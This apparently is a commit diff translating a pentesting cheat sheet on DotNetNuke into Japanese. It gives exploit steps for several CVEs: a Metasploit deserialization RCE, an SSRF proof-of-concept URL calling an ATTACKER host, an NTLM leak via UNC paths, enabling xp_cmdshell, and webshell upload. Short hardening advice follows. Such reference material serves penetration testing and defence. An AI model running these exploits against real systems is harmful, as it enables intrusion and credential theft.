Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:32 +00:00
parent 80b88c15be
commit 7575f57dd7

View File

@ -4,37 +4,92 @@
## DotNetNuke (DNN)
DNNに**管理者**としてログインすると、RCEを取得するのが簡単です。
DNNに**管理者**としてログインすると、**RCE**を取得するのは簡単ですが、過去数年で*未認証*および*認証後*の技術がいくつか公開されています。以下のチートシートは、攻撃的および防御的な作業のための最も有用なプリミティブを集めています。
## RCE
---
## バージョンと環境の列挙
### SQL経由
* *X-DNN* HTTPレスポンスヘッダーを確認してください - 通常、正確なプラットフォームバージョンが開示されます。
* インストールウィザードは、`/Install/Install.aspx?mode=install`でバージョンを漏洩します(非常に古いインストールでアクセス可能)。
* `/API/PersonaBar/GetStatus` (9.x)は、低権限ユーザー向けに`"dnnVersion"`を含むJSONブロブを返します。
* ライブインスタンスで見る典型的なクッキー:
* `.DOTNETNUKE` ASP.NETフォーム認証チケット。
* `DNNPersonalization` XML/シリアライズされたユーザープロファイルデータを含みます(古いバージョン - 下記のRCEを参照
**`Settings`**ページの下にSQLコンソールがアクセス可能で、**`xp_cmdshell`**を有効にして**オペレーティングシステムコマンドを実行**できます。
---
## 未認証の悪用
**`xp_cmdshell`**を有効にするには、これらの行を使用します:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
### 1. クッキーのデシリアライズによるRCE (CVE-2017-9822 & フォローアップ)
*影響を受けるバージョン ≤ 9.3.0-RC*
`DNNPersonalization`は、組み込みの404ハンドラーが有効な場合、すべてのリクエストでデシリアライズされます。したがって、作成されたXMLは任意のガジェットチェーンとコード実行につながる可能性があります。
```
そして、**"Run Script"**を押して、そのSQL文を実行します。
次に、次のようなものを使用してOSコマンドを実行します
```sql
xp_cmdshell 'whoami'
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
### Via ASP webshell
モジュールは、パッチが適用されているが依然として脆弱なバージョンCVE-2018-15811/15812/18325/18326に対して正しいパスを自動的に選択します。 7.x9.1.xでは**認証なし**で、9.2.x+では*確認済み*の低権限アカウントでの利用が可能です。
`Settings -> Security -> More -> More Security Settings` で、`Allowable File Extensions` の下に **新しい許可された拡張子****追加** し、次に `Save` ボタンをクリックします。
### 2. サーバーサイドリクエストフォージェリ (CVE-2025-32372)
*影響を受けるバージョン < 9.13.8 パッチは2025年4月にリリース*
**`asp`** または **`aspx`** を追加し、次に **`/admin/file-management`** で **`shell.asp`** という **asp webshell** をアップロードします。
古い`DnnImageHandler`の修正をバイパスすることで、攻撃者はサーバーに**任意のGETリクエスト**を発行させることができますセミブラインドSSRF。 実際の影響:
その後、**`/Portals/0/shell.asp`** にアクセスして、webshell にアクセスします。
* クラウドデプロイメントにおける内部ポートスキャン / メタデータサービスの発見。
* インターネットからファイアウォールで保護されたホストへの到達。
### Privilege Escalation
概念実証(`TARGET` & `ATTACKER`を置き換えてください):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
リクエストはバックグラウンドでトリガーされます; コールバックのためにリスナーを監視してください。
**Potatoes** または **PrintSpoofer** を使用して **権限を昇格** させることができます。
### 3. NTLMハッシュの露出 via UNCリダイレクト (CVE-2025-52488)
*影響を受けるバージョン 6.0.0 9.x (< 10.0.1)*
特別に作成されたコンテンツにより、DNNは `\\attacker\share\img.png` のような **UNCパス** を使用してリソースを取得しようとします。 Windowsは喜んでNTLMネゴシエーションを行い、サーバーアカウントのハッシュを攻撃者に漏洩します。 **10.0.1** にアップグレードするか、ファイアウォールでアウトバウンドSMBを無効にしてください。
### 4. IPフィルターバイパス (CVE-2025-52487)
管理者が管理ポータルの保護のために *Host/IPフィルター* に依存している場合、**10.0.1** より前のバージョンはリバースプロキシシナリオで `X-Forwarded-For` を操作することでバイパスされる可能性があることに注意してください。
---
## 認証後のRCE
### SQLコンソール経由
**`Settings → SQL`** の下にある組み込みクエリウィンドウを使用して、サイトデータベースに対して実行できます。 Microsoft SQL Serverでは、**`xp_cmdshell`** を有効にしてコマンドを生成できます:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### ASPXウェブシェルのアップロード経由
1. **`設定 → セキュリティ → その他 → その他のセキュリティ設定`**に移動します。
2. **許可されるファイル拡張子**に`aspx`(または`asp`)を追加し、**保存**します。
3. **`/admin/file-management`**に移動し、`shell.aspx`をアップロードします。
4. **`/Portals/0/shell.aspx`**でトリガーします。
---
## Windowsでの特権昇格
**IIS AppPool\<Site>**としてコード実行が達成されると、一般的なWindows特権昇格技術が適用されます。ボックスが脆弱な場合、次のことを利用できます
* **PrintSpoofer** / **SpoolFool**を使用して*SeImpersonatePrivilege*を悪用します。
* **Juicy/Sharp Potatoes**を使用して*サービスアカウント*から脱出します。
---
## ハードニング推奨事項(ブルーチーム)
* **9.13.9**SSRFバイパスの修正以上に**アップグレード**するか、できれば**10.0.1**IPフィルターおよびNTLMの問題にします。
* インストール後に残存する**`InstallWizard.aspx*`**ファイルを削除します。
* アウトバウンドSMBポート445/139を無効にします。
* DNN内ではなく、エッジプロキシで強力な*ホストフィルター*を強制します。
* 使用していない場合は`/API/RemoteContentProxy`へのアクセスをブロックします。
## 参考文献
* Metasploit `dnn_cookie_deserialization_rce`モジュールのドキュメント 実用的な認証なしRCEの詳細GitHub
* GitHubセキュリティアドバイザリーGHSA-3f7v-qx94-666m 2025年のSSRFバイパスおよびパッチ情報。
{{#include ../../banners/hacktricks-training.md}}